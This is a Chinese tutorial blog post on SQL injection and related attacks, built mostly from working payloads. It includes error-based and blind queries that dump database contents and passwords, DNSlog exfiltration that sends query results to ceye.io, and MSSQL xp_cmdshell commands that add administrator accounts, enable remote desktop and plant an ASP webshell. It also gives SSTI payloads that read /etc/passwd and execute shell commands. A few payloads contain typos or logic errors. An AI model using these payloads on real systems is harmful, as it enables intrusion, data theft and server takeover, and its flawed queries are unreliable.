SQL注入基础入门

news2024/11/20 7:14:27

文章目录

  • 前言
  • SQL注入基本操作
    • SQL注入类型分类
      • 数字型
      • 字符型
      • 搜索型
      • xx型
      • Json型
      • 数据类型提交的方式
    • SQL注入的位置分类
    • 报错注入
      • 报错注入实战案例
    • SQL注入语句分类
      • insert注入
      • update注入
      • delete注入
    • 编码
    • Tips:Mysql版本区别
      • information_schema数据库详解
    • 其他注入手段
      • 宽字节注入
        • 宽字节注入绕过反斜杠防护
      • 偏移量注入
      • 加密注入
      • 堆叠注入
      • 联合注入
      • 二次注入
      • 中转注入
      • 伪静态注入
      • 盲注
        • Bool布尔型盲注
        • base on time(时间型注入)
      • DNSlog注入
    • 其他数据库注入
      • Access数据库
      • MSSQL数据库(SqlServer)
        • sa权限注入
        • dbowner权限注入
        • public权限注入
  • SQL注入扩展
    • SSTI漏洞
      • 常见SSTI注入payload
      • SSTI tornado render模板注入
    • handler查询
    • 读取与写入
      • Mysql
    • show方式
    • 读取数据库用户密码
    • 注入读取常见文件路径
      • windows
      • linux

前言

SQL注入是本散修学习过程中和刷CTF题整理的一些心得,现在看来感觉也还是入门,没有涉及到很多进阶的方式,后续有能力的话应该还会继续写一些过waf的进阶操作。

SQL注入基本操作

  • 原理:其实就是开发人员没有对提交上来的并且是与数据库交互的数据进行处理,然后导致拼接语句的时候没有按照本意的去执行SQL语句。

  • 如何寻找注入点:

    只要是与数据库打交道的都可以尝试,比如登录,注册,留言板,评论区,分页等等。

  • 注意URL编码

下面以介绍的各种sql注入都是以mysql的注入方式来介绍,后面介绍其他数据库就容易很多。

SQL注入类型分类

数字型

数字型就是你输入的数据是以数字的形式传到代码那边进行组合SQL语句,如果没有做任何防护的话可以随便组合我们需要的语句。

  • select username,email from member where id=1 or 1=1–+;
  • 注入语句:or 1=1–
    意思是通过一个永真条件就会将所有搜索到的信息传递出来,然后–是注释符号,避免后面还有什么拼接的条件语句,其他注释符号也行,常用是–,最好在后面多加一个空格,url的话就用+号代替空格。

字符型

输入的数据被当成字符,然后与其代码拼接sql语句, 如果没有做防范就会直接与用户穿上来的数据拼在一起,道理都是一样的,但是字符型就有点不同,由于是字符,所以在数据库中字符也是会有单引号双引号,一般都是使用单引号的居多,还需测试的人员进行多次尝试。

  • 网站代码中的语句通常是 ‘select id,email from member where username=$data;’
    $data是一个变量,然后代码中使用的是单引号将SQL语句引起来,所以当传输数据给data变量的时候将单引号也传进去的话就会将单引号闭合掉,data数据尾部再加上注释符号就刚好将后边的单引号注释掉就完全闭合了。
  • 注入语句:data=xx’ or 1=1–+
    这样就是一个sql注入语句了,xx是随便字符的意思,因为有时候可能不允许出现条件为空的字符,随便输入一点然后拼接成一个完整的sql语句。

搜索型

就是模糊查询,本质都是一样的,这里讨论mysql,所以我们注入语句使用like,具体按实际的数据使用注入语句,但本质是一样的。模糊查询语句原本为:select * from user where like ‘%xxx%’; %是模糊查询的符号,所以也可以xxx%或者%xxx,%就代表任意多个字符。

  • 注入语句:
    • xxx%’ or 1=1–+ #一般不会是%xxx or 1=1–+,因为模糊查询中,代码一般都带了%所以你%xxx没啥用,一般加在后面。xxx%,当然下面的%xxx%也是可以,都说了%是模糊查询标志符号,所以我们的多少个都行。
    • %xxx%’ or 1=1–+

xx型

说明
这里我面试了几个面试官都说不知道,不太清楚是什么原因,但是我学到的确实有这个类型,那么各位道友如果我这里的类型名字有错误的话请一定要指出来。

xx型是因为代码里面会是这样写的:select * from user where username=(‘$name’);也就是说会加一个括号括起来而已,那我们肯定也是可以应对的,只要我们传进去的数据能够将其括号闭合即可

  • 注入语句:
    xx’) or 1=1–+

Json型

Json型其实就是上面几种类型输入数据换了一种方式而已,就是使用Json的类型将数据传进去,然后找到参数点后SQL注入姿势也还是数字型、字符型、搜索型。


这里需要抓包进行修改数据,json数据是写在post数据包里面的,我们抓包到数据将json数据修改成我们的注入语句即可。

  • json格式:{“id”:“123”} #属性名一定一定!必须使用双引号,字符串数据也是严格使用双引号,不可以是单引号,不能使用十六进制作为数据,不能使用无定义即undefined
  • 注入语句:{”id“:“123 ’ or 1=1–”} # 其他注入类型自己发挥

数据类型提交的方式

  • get

    直接修改url

  • post

    抓包修改数据

  • Cookie

    有的cookie也会和数据库打交道,在这里注入有时候也会出现意想不到的收获。

    但是这需要使用的注入语句是报错注入方式(报错注入后面会说),使用通常的sql注入看不出效果,

    一般都是使用:

    ’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+

当然还有其他https头部都可以尝试

SQL注入的位置分类

只要后台使用这个数据和数据库打交道,那么都可能存在注入点,下面只举例子http header。

  • Http Header

    解释:因为有的企业会把user-agent等等请求头键值对也保存在数据库里面,也就说这些也可能会和数据库打交道,因为可以尝试在这里注入,但是请注入选择的注入一般是报错注入的方式来进行,因为这种一般都没有回显,所以通过报错的方式将其报出来。

    • 注入语句:(下面语句是可以直接放入user-agent:的后面,即下面是值部分)

      payload Mozilla’ or updatexml(1,concat(0x7e,database()),0) or ’

      其中database()在mysql数据库中能够将当前的数据库名字以报错的形式显示出来,这个报错语句也是mysql中的,可能其他的数据库会略有不同,只需要去网上查找即可,无须特地记忆。database()这个就是可以修改的,你可以修改成select的语句或者其他语句都行,达到你的目的即可,但是要考虑到开发人员可能对某些关键词做了防护。

      database()只是其中的内置函数,mysql还有其他,比如:

      • user() 查询当前登录数据库的用户
      • version() 当前数据库版本
    • 0x7e是~,只是为了方便显示的时候看得出来,你也可以用其他符号,但建议使用十六进制

报错注入

  • 介绍:
    在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。为什么要用函数报错呢,是因为我们上面学到的一些注入测试手段,可能看不到报错,被屏蔽或者处理了,就不好判断是否有注入点,所以我们学一下基于函数的报错。
    但是我按照自己的思路来一般都是先从最简单的sql注入开始测试,都行不通了才会开始要尝试报错注入。
    报错注入其实就是通过函数的形式,传入一些不规范的参数让其报错,将其错误信息报错出来,刚好错误信息使我们自己写的sql语句。
  • 常用的三个报错函数介绍:
    • updatexml()
      mysql对xml文档数据进行查询和修改的xpath函数,正好我们写自己的sql语句即可,不需要理会正确的咋写。
      但是这里就偏要介绍他的原本用法:updatexml(xml_document,xpath_string,new_value);作用就是在XML文档对象中,即给出的xml_document对象名称通过xpath的方式找,找到就用new_value替换
    • extractvalue()
      extractvalue(xml_document,xpath_string),通过xpath方式在xml_document文档对象中查到字符串进行返回,这函数比较苛刻,第一个参数一定要符合语法标签规则。比如<a><b>hello</b></a>,简而言之就是一定要有闭合标签,可以是你自己随便写的,闭合的一定要和你开头写的一样就行,语法符合即可。
    • floor()
      mysql用来对数据进行取整,学过编程应该都懂了。
    • 等等…还有很多函数可以进行报错注入。
  • updatexml()的注入用法
    updatexml(1,concat(0x7e,(select @@version,0x7e),1)–+
    concat是拼接字符串,刚好可以放在update中间的参数,中间参数是xpath_string字符串,很显然我们拼接出来的字符串肯定不是xpath,0x7e是~ ,我们自己希望注入的sql语句一定要用括号括起来,因为括号内是先执行的,才会将我们的想要的信息报错出来,就是让报错要有信息可报,最后报错出来的数据是 ~mysql数据库版本号~
  • extractvalue()的注入用法
    extractvalue(‘<a><b>hello</b></a>’, concat(1,(select @@version),1))–+,第一个参数一定要闭合标签,随便标签都行,同理concat里面的sql注入语句一定要先括号括起来让他先执行再报错。

报错注入实战案例

下面的顺序也是按照实际获取到的消息来拖库,一点点的拖信息。

  • 爆数据库版本信息:
    x’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)–+

  • 爆数据库当前用户:
    x’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+

  • 爆数据库:
    x’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

  • 爆表:
    mysql5.1版本及以上版本,mysql数据库中会存在一个叫做information_schema的默认数据库,这个库里面记录着整个mysql管理的数据库的名称、表名、列名(字段名)
    x’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1)–+,一般都是限制报错信息一条而已,所以用limit进行限制。

  • 爆字段:
    x’ and updatexml(1,concat(0x7e,(select column_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1)–+

  • 爆字段内容:
    x’ and updatexml(1,concat(0x7e,(select passsword from users limit 0,1),0x7e),1)–+,到这里的时候已经是你完成拖库了,慢慢的拉去信息即可,因为你按照上面的步骤的话就是基本上数据库版本和数据库名字和表名字段名都晓得了。

SQL注入语句分类

insert注入

一般会出现在注册用户和发表内容,以post的方式提交数据的居多,所以需要抓包来注入payload,找到后其实就和平常的sql注入没啥区别了。

update注入

一般在已存在的用户中,需要修改个人信息或者修改发表的内容中,同insert出现的地方差不多,找到注入点后按照sql注入正常流程来拖库渗透即可。

delete注入

这个就是出现在评论区居多,且通常以get方式提交数据,因为删除一般通过id号码来删除评论,但具体问题具体分析。

编码

url编码:也叫做百分号编码,url仅仅保留 a-z A-Z 0-9 还有特殊字段 -_.~ 这四个可以直接出现在url地址上面作为数据。这几个 !$&'()*+,;= 是作为分隔符不是作为数据在url上出现的,然后剩下的其他都需要进行十六进制的编码然后前面加上%号作为url编码。

Url编码默认使用的字符集是US-ASCII。例如a在US-ASCII码中对应的字节是0x61,那么Url编码之后得到的就 是%61,我们在地址栏上输入http://g.cn/search?q=%61%62%63。

常见的url编码字符:

URL编码值字符
%20空格(+也代表空格)
%22"
%23#
%25%
%26&;
%27
%28(
%29)
%2B+
%2C,
%2F/
%3A:
%3B;
%3C<
%3D=
%3E>
%3F?
%4o@
%5C\
%7CI

Tips:Mysql版本区别

mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema,mysql5.0以下没有information_schema库,只能通过暴力猜解的方式来获取数据,information_schema库里面包含了很多表,其中这几张表:schemata、tables、columns,这三张表依次分别存放着字段:(schema_name-库名)、(table_name-表名、table_schema-库名)、(table_schema-库名、table_name-表名、column_name-字段名),其次就是5.0以上都是多用户多操作,5.0以下是多用户单操作。

在这里插入图片描述

information_schema数据库详解

安全人员最重要的是要掌握三个表:schemata, tables, columns

tables的列:table_name table_schema   table_schema是所有table_name所属的不同数据库名
columns的列:table_schema  table_name column_name   table_schema是所有table_name所属的不同数据库名,table_name是所有table_column所属的不同表名。
schemata的列:就是schema_name  数据库表里面自然是数据库列名schema_name

其他注入手段

宽字节注入

宽字节注入方法目前看,仅仅适用于gbk编码的网站。

引入:有的网站会开启一些防护手段,防止我们通过url提交数据的时候进行sql注入,比如phpstudy中可以开启gpc后就会将我们sql注入的单引号’前面加一个\反斜杠,这样的话就会导致我们sql注入无效,我们的单引号就会被当成字符处理而不是闭合前面的单引号。

宽字节注入绕过反斜杠防护

既然会在单引号前面加一个反斜杠\,\的url编码是%5c,也就是十六进制的0x5c,现在告诉你中文需要两个十六进制来组成一个汉字你是否有头绪了?是的没错,宽字节注入就是通过与%5c能够结合成一个汉字的十六进制放进去就会被吃掉,所以我们的%5c就会与那个组成一个汉字,我们原本的sql语句就注入成功了。

举例:现在直接告诉你%df和%5c能够组合成一个運字,那么我们就可以这么些url:http://xxx/name=xx%df'+or+1=1--,这样的话在对方服务器中会在我们写入的单引号前面加上\,又因为\为%5c,正好和我们前面写的%df组起来了,在将数据翻译的时候对方服务器就会认为我们的%df%5c是運字,然后我们的’单引号又重见天日了得到解放。

在这里插入图片描述

偏移量注入

假设我们找到一个注入点,直到了该网站其中一个表名和其字段数量,可以通过该注入点知道该注入点的表数据。

举例子:比如已知users表,其中字段数量为3,但是注入点中使用另一个表数据来查询,我们的users表比该注入点中的表的字段数量少就可以完成偏移量注入。假设该注入点的表叫做b表,字段数量为7个。

下面是实际操作:

  • select * from b where id=$xx;

    xx就是一个注入点,我们可以随便一个数据的同时附加sql注入:union select *,1,2,3,4 from users

    • 解释:因为b表有7个字段数量,然后我们的users表只有三个字段,联合查询会数据库会报错,然后加上四个固定数值后能够补充上去符合7个字段数量联合查询出来就将我们的b表数据查出来了。
      (当然了,假设展示数据的代码不是将查到的数据循环出来而是只显示查询出来的第一条就须考虑如何写sql了,因为我们联合查询就是猜测代码会将我们查到的数据都循环打印出来,具体问题具体分析。)

加密注入

在渗透测试过程中发现网站的url上面或者post数据中有==结尾的一般是进行了 base64加密了,所以我们注入的时候可以将sql注入语句进行编码后加入到数据中去。其他加密方式类似,只是base64举个例子而已,因为==号一般情况下都是base64,且在现在比较 常用。

堆叠注入

实质就是通过mysql中以;结尾作为一句sql语句,然后我们在注入的时候就可以加上;以表示语句解释,然后在;后面就可以写我们自己的任意sql语句了。

  • 限制:堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。mysql中有些API是支持的,sqlserver都支持,oracle不支持。

联合注入

即找到注入点后使用union进行注入,其实这个不算手段只是使用mysql中的联合查询进行注入,能够将很多信息都拖出来,这个联合注入其实属于检测方法。

  • 获取某些表的所有列名:

    'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit

    其中table_name=0x7573657273为十六进制,这个不转成十六进制也可以table_name=“users”

  • 获取某表的所有字段数据:

    ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

    0x7c表示 | 符号,其实就是用过|将所有字段数据拼接到一起进行显示

二次注入

这个原理就是往数据库里面放入脏数据然后再使用的时候让脏数据触发。我们的脏数据会在代码中被处理,比如’单引号在进入代码取数据拼接的时候会在前面加一个\,但是无伤大雅,因为在存入数据库的时候会将\除掉,这是因为判断非法字符的只有代码拼接的时候帮你转义而已,存入数据的时候还是会把你原来的数据存进去。利用这一点我们就可以使用该特点做一些其他事情。比如下面的例子。

举例:假设我们有一个超级管理员名字叫做admin

  • 注册的时候注册一个名字叫admin’#的名字,不管代码他是否转义最终如果可以存进数据库都会叫这个名字。
  • 注册成功后去到修改密码的界面,然后修改密码提交上去的数据会把你用户名作为条件进行提交上去,因为改的是你自己的密码,但好巧不巧了,你的用户名中有admin且后面是’ #,正好把前面的单引号闭合,且#是注释符号注释掉了后面的东西,这时候修改的就是admin的账号的密码了,这样就可以登录admin的账号 了,你已经修改了他的密码。
  • 这就是一个简单的二次注入例子,通过利用脏数据进行修改他人密码。

中转注入

本质就是你使用另一台代理,代理上面有你写好的转发代码,你主机将payload转发到代理上面写好的代码中,代理主机的代码就会帮你转发你的payload到目标主机上面,完成的任务其实就是隐藏身份

伪静态注入

注入方式比较苛刻

详情推荐看这位博主的博客:伪静态注入的总结

盲注

Bool布尔型盲注

到了这一步的话最好按部就班的顺序进行测试,否则真的盲目注入了,注入没有效果再一步一步往后进行。

  • 按照注入类型注入(数字、字符、xx…)
  • 报错注入
  • bool注入判断真假:
    • select ascii(substr(database(),1,1))>61; 通过对比ascii码的长度,判断出数据库表名的第一个字符。
    • 判断表名长度为7?:vince’ and select length(database())=7#
base on time(时间型注入)

mysql中有一个休眠函数,sleep(秒数),只要我们能够将sleep注入,通过组合另一个判断语句就可以知道是否正确,判断标准就是sleep是否执行了,休眠时间触发的话会很明显的就知道。
比如:vince' and if(substr(database(),1,1)='p',sleep(10),null)#表示如果数据库第一个字符是p的话就会执行sleep语句直接休眠10秒,否则null不执行什么,这样我们就通过时间就判断出来是否数据库名字第一个字符是否是p了。这就是时间型注入。
如果sleep被防御了,可以使用benchmark。 benchmark是mysql的内置函数,是将MD5(1)执行10000000次以达到延迟的效果。

DNSlog注入

  • 这种方式比较高级,注入的sql语句要求mysql的配置文件中开启了secure_file_priv=“”,配置文件中没有这一项就无法使用DNSlog注入。

  • 具备DNSlog日志记录功能的网站A我们不用自己搭建,可以采用如下三个,当然如果你想自己搭建也是可以的:
    http://ceye.io/ #知道创宇公司提供的
    http://www.dnslog.cn/ #科学上网
    http://admin.dnslog.link #这个好像不太好用了

  • 通过mysql的load_file()函数来触发dns注入,首先load_file能够加载本地文件,也能发起url请求,正是能够发起url请求,所以我们可以将我们申请到的dns日志记录网站。(假设申请到的dns日志网站是:9fqiop.ceye.io/abc)

    • 语句如:select load_file('\\\\xxx.xxx.xxx\\xx');
      其中\\\\xxx.xxx.xxx\\xx是我们搭建或者申请到的dns网址
      可以去专门申请到的dns网站看日志,有记录的话就可以正是写我们所需的sql注入语句了,上面的注入语句没有做什么事情。

    • 注入语句:
      下面是为了绕过代码才使用concat拼接的,也可以先用正常的select load_file(‘\\xxx.xxx.xxx\xx’)看看有没有通过服务端的检查。

      • 获取库名: and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
      • 获取表名:and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9fqiop.ceye.io\\abc')))修改limit后面的数字即可将每个表名都查出来

说明:这里\\是因为要转义字符,所以最终会变成\
那么我们使用//也是可以,这样就不用转义了。

其他数据库注入

Access数据库

特性:暴力猜解名字,Access中没有什么好办法

  • 爆表:…and exist(select * from $表名)

  • 爆字段:…and exist(select $字段名 from 已知表名)

  • 爆字段内容的长度
    1、…and (select top 1 len(字段名) from 表名) > $猜测的长度
    2、order by n 如果n-1时返回正常,n时返回错误,那么说明字段数目为n

  • 爆字段数据内容:
    1、…and (select top 1 asc(mid(字段名,起始位,截取的位数)) from 表名) > $?
    ($?代表ascii码,判断大小可知字母,若判断到小于0说明是汉字,$字符下标是可变,后面长度一般都是1)
    mid(字符串,起始位,截取的位数)该函数中起始位是从1开始不是从0开始
    例如:
    mid(“abcdef”,2,3)
    结果是bcd
    2、前提是已知了该表的字段个数,这是通过order by测试出来后才可以用下面的方法
    假设已知我们通过order by测试出来了administrator表有7个字段
    在这里插入图片描述
    注入语句为:…and 1=2 union select 1, 2, 3…, 7 from 表名,上图所示就是看到2 3 7 5 显示出来了,表示我们知道该表那些字段显示被后端取出来显示了,那么在通过已知的字段名放在对应显示的数字上面就可以取出来数据了。
    ​ 例如:…and 1=2 union select 1,username,password,4,5,6,7 from 表名,这样就会在对应的位置上面显示出来你的字段名内容。当然也可以放在7和5上面,测试的时候是 2375都显示了。所以我们这样就会很简单的拿到了数据不用一个字母一个字母的取出来。
    在这里插入图片描述

  • 若通过注入拿到后台管理员用户的账号密码

    • 使用7kb或御剑攻击扫描目录:有可能会拿到后台登录页面,直接用账号密码登录即可。

小提示: Access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf ,不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

MSSQL数据库(SqlServer)

MS微软的简写,因此是使用SQLServer软件作为数据库。

数据库介绍:

  • 三大权限:sa, dbowner, public (最高权限是sa)
  • 可以采用与Access注入的相同原理与方法
  • Mssql默认端口是1433
  • Mssql默认允许远程连接
sa权限注入
  • 判断该网站中是否使用了:

    …and 1=(select IS _SRVROLEMEMBER(‘sysadmin’)) # 可能这个语句判断有误

    若页面没有报错则为sa权限

  • 介绍xp_cmdshell:

    xp_cmdshell是mssql数据库的扩展存储功能,这个功能可以直接执行操作系统的指令(ipconfig、pwd等等),默认情况下这个功能是禁用状态的,所以我们先要看看是否开启了,但我们需要打开的时候,我们可以自行打开,但是这个功能只能是sa这样的权限用户才能开启,所以前面判断了是否为sa用户权限部署的,dbowner、public等权限都是不能开启。

  • 判断xp_cmdshell存储过程:

    …and 1=(select count(*) from master.dbo.sysobjects where name=‘xp_cmdshell’)

    若页面没有报错则开启了,否则就需要我们sql注入的形式进行打开一下这个功能。

  • 恢复xp_cmdshell:(注意下面是一条语句执行,不是多条)

    EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;–

  • 开启了xp_cmdshell就可以为所欲为了:

    • 添加用户:

      ;exec master…xp_cmdshell ‘net user 用户名 密码 /add’

    • 自己的用户添加到管理员组:

      ;exec master…xp_cmdshell ‘net localgroup administrators 你创建的用户名 密码 /add’

    • 开启3389windows的远程连接端口:

      已经是管理员组的用户了,想远程控制你的电脑,就可以开启3389端口,默认远程桌面是关闭的。下面的是通过cmd指令修改注册表的一个选项来开启3389。(注意下面是一条语句,不是多条)

      ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

      完成开启,直接通过ip地址可以连上目标主机。

    • 其他指令:

      ;exec master…xp_cmdshell ‘$其他指令在这里写’

dbowner权限注入

!!!!!!!!!!!前提是开启了xp_cmdshell

注入思路:首先找到可注入的并且有报错的页面,需要知道该页面在对方服务器里面的文件名。通过注入来创建一个不重名的表,字段名自己定义。xp_cmdshell 正常执行 dir /s 该报错页面的文件名,就会出现他的路径(不信你可以用cmd试试),然后将该信息insert到我们自己创建的table中,那这样我们又可以通过组合sql注入和报错的形式,将我们存进去的路径信息通过我们自己创建的表信息报错出来,有了该路径,就可以往存放该错误页面路径的目录下面使用xp_cmdshell执行创建webshell的文件,然后就可以控制目标服务器了。

  • 判断是否为dbowner权限

    and 1=(SELECT IS_MEMBER(‘db_owner’));– # 同理可能会判断错误

  • 寻找可sql注入且有报错信息返回的页面(目的是将报错信息插入到我们自己创建的表)

    这里的报错信息

    通过7kb、穿山甲来找,或者可以通过高级搜索的方式搜寻该页面的其他有报错的页面

  • 在目标服务器上创建一个表

    create table black result varchar(7996) null, id int not null identity (1,1)–

  • 通过报错信息插入到我们自己创建的表中

    insert into black exec master…xp_cmdshell ‘dir /s 该页面的文件名’–

  • 通过查询我们保存的信息,然后将路径报错出来,因为查到的信息肯定有,但是故意让他报错,将我们查到的信息报出来(这个方法很巧妙,值得细细品味)

    and (select result from black where id=4)>0– #首先查出来的数据是字符串和0比较肯定错误,所以就会将我们查到的信息报错出来。那这个信息就是我们需要的当前访问的页面的url下的目录了,我们就可以通过xp_cmdshell创建webshell。

  • 通过xp_cmdshell创建文件到我们上面报错出来的路径中去,该文件写上一句话木马,然后就可以在该网址下连接我们的webshell了

    ;exec master…xp_cmdshell ‘echo “<%eval request(“jaden”)%>” >> 报错的路径\你的木马文件名’–

  • 该权限还可以进行数据库备份(当然sa肯定可以,只是sa都直接连上主机了那就不用这个了)

    当然也是需要知道目录信息,不然你备份好了也不知道去哪取出来。

    ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk=‘c:\test1’ with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk=‘c:\www\iisaspx\yjh.asp’;alter database testdb set RECOVERY simple
    在这里插入图片描述

public权限注入
  • 获取当前网站数据库名称

    and db_name()=0–

    • 获取所有数据库名:

      and 1=(select db_name()) --+

      and 1=(select db_name(1)) --+

      and 1=(select db_name(2)) --+

  • 获取当前数据库所有表名(当然前提是你知道了当前数据库名)

    and (select top 1 name from 当前数据库.sys.all_objects where type=‘U’ AND is_ms_shipped=0 and name not in (select top i name from 当前数据库.sys.all_objects where type=‘U’ AND is_ms_shipped=0))>0–

    //修改i的值来查看

  • 获取表名和字段名

    • having 1=1–

      这个不用加and直接空格having接上就行,例如:http://…?xx=1 having 1=1–

      下面两个也是一样不用加and写法和这个一样。

    • group by 表名.已知字段名 having 1=1–

      这个是在第一个指令下已知了一个字段了才能用该指令,这样又一个字段名出来了

    • group by 表名.字段名1,表名.字段名2 having 1=1–

      这个就很清楚了,就是找第三个字段,因为已知了两个字段

  • 获取字段内容(不建议使用,很麻烦)

    举一个例子,但是里面的变量需要自己找找,换一下。
    (这里用了一些绕过waf的手段,比如注释干扰/**/和编码绕过)
    /**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32)%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id)%3E0/**/and/**/1=1

当然如果拿到了public最好还是使用工具。

SQL注入扩展

SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。

通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

python语言开发的网站,比如response的server像这样:

在这里插入图片描述
那么就可以使用SSTI漏洞注入

常见SSTI注入payload

1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

payload构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类

常用payload
python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 
 

python2、python3共有的,且可命令执行的payload:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

SSTI tornado render模板注入

使用tornado的服务器就是使用python语言进行编写的。所以可以采用ssti注入方式。

在这里插入图片描述

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
{{handler.settings}}

还有几种获取config的方式
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

效果如下:
在这里插入图片描述

handler查询

handler 可以在 select 被过滤后有效的进行sql注入。

下面是官方给出的查询方法(了解即可):

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

!!!注意:as alias是起别名的意思,你起完别名后,后面的语句都是使用你这个别名来构造语句!!!


下面是常用的读取方法:

  • 第一种:直接通过表名读取列的数据。

    原理就是将对应的table进行open后,即对应这条指令:index_name

    开始读取,通过first、next、prev、last进行偏移,这里的偏移是从你open之后开始的,所以我们读取完需要有一个close的操作

    读取完就close:handler table_name close;

    handler table_name open [[as] alias];
    handler table_name read [first | next | prev | last];
    handler table_name close;
    
  • 第二种:通过索引表读取。

    原理是通过你创建好的索引表进行读取数据,也是open之后像指针一样进行偏移。

    handler table_name open [[as] alias];
    handler table_name read index_name [first | next | prev | last];
    handler table_name close;
    
  • 第三种:通过索引表但是指定下标开始读取。(可以范围读取)

    原理其实也是通过索引表读取,但是这里可以通过指定索引表第几行数据读取出来,或者某个范围内读取出来。

    handler table_name open [[as] alias];
    handler table_name read index_name = (id);  //id就是第几行
    handler table_name read index_name [first | next | prev | last];  //在你定位完后还可以继续使用这个进行偏移
    handler table_name close;  //记得也要关闭handler
    

读取与写入

Mysql

x' union select 1,'一句话木马等等' into output "路径"

show方式

在mysql中还能够使用show来获取数据库的所有表名、获取表的所有列名。(当然前提就是你知道数据库名了才能show表名,同理获取列名就要给出show的表名)

1. show tables 或 show tables from database_name; -- 显示当前数据库中所有表的名称。 
2. show databases; -- 显示mysql中所有数据库的名称。 
3. show columns from table_name from database_name; 或show columns from database_name.table_name; -- 显示表中列名称。 
4. show grants for user_name; -- 显示一个用户的权限,显示结果类似于grant 命令。 
5. show index from table_name; -- 显示表的索引。 
6. show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。 
7. show variables; -- 显示系统变量的名称和值。 
8. show processlist; -- 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。 
9. show table status; -- 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。 
10. show privileges; -- 显示服务器所支持的不同权限。 
11. show create database database_name; -- 显示create database 语句是否能够创建指定的数据库。 
12. show create table table_name; -- 显示create database 语句是否能够创建指定的数据库。 
13. show engines; -- 显示安装以后可用的存储引擎和默认引擎。 
14. show innodb status; -- 显示innoDB存储引擎的状态。 
15. show logs; -- 显示BDB存储引擎的日志。 
16. show warnings; -- 显示最后一个执行的语句所产生的错误、警告和通知。 
17. show errors; -- 只显示最后一个执行语句所产生的错误。 
18. show [storage] engines; --显示安装后的可用存储引擎和默认引擎。

-- 可以通过查询数据库存储路径和数据库日志路径猜测网站的物理路径
